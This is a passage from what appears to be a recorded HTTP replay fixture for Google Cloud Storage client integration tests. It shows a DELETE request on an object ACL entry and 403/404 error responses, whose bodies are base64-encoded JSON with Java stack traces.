V0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm90IEZvdW5kIn19" - } - }, - { - "ID": "db035a3cc51de007", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:14 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:14 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrGb7BqO44vNpZjBnLrSI6_jVCVRFevSqm5eux2DIE2zmUY3sH0T0st7OOsLPcBjvLSbDfijMcdJwsgpM1fQGcerB9bS8Ffd4Qgzdjth0I8FreV4Vs" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV